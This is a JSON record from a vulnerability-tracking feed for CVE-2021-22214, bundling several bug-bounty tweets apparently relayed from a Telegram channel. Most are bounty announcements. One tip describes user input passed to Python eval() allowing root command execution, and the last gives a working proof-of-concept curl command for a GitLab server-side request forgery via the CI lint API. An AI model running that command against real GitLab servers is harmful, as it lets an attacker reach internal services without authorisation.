{"uuid": "01959cf6-8006-4f09-8e02-8dab820c9688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22214", "type": "seen", "source": "https://t.me/bhhub/410", "content": "#BugBountyTips of the Day\nYay, I was awarded a $1,500 + $700 + $100 bounty on @Hacker0x01!  https://t.co/LImNbwJGNC #TogetherWeHitHarder  I found it in a program where only 25 selected CTF hackers were invited and not opened for research yet. It only took me 20 minutes to find them all :)  #BugBounty\n---\n5th subdomain Takeover of this month!\ud83e\udd1f \ud83d\udd25  #bugbounty  https://t.co/C0amXNNspm\n---\nI am excited to share how we are able to get $20000 Bounty for finding a flaw in Microsoft Edge with @MrRajputHacker @CyberXplore  Here Is The Link To Writeup -  https://t.co/J0deS72eYv Special Thanks To @msftsecurity @msftsecurity  #bugbounty  #bugbountytips  #bugbountytip #msrc\n---\nI got my first Bounty Today You all are Amazing Thanks to @thecyberzeel @AnubhavSingh_  @s0md3v  @R0X4R  @theXSSrat @Virdoex_hunter @remonsec  @stokfredrik @Musab1995 @harshbothra_ @Assass1nmarcos @hunter0x7 @InsiderPhD and #cybersecurity #infosec #bugbounty  https://t.co/SJFpS3QCsz\n---\nIn one of my recent findings, a user-supplied input was directly being passed to python \"eval()\" function which allowed me to execute system commands as \"root\". Always look for error message based on your input! #bugbountytips  https://t.co/t6Mb1SOf9g\n---\nBOOM\ud83d\udd25\ud83d\udd25 Gitlab SSRF (CVE-2021-22214).  POC: curl -s --show-error -H 'Content-Type: application/json' --data '{ \"include_merged_yaml\": true, \"content\": \"include:\\n  remote:  http://x.x.x.x/api/v1/targets?test.yml\"}'  https://REDACTED/api/v4/ci/lint -k  #SSRF #Gitlab #bugbountytips  https://t.co/07NnNq6in0", "creation_timestamp": "2021-06-26T13:37:04.000000Z"}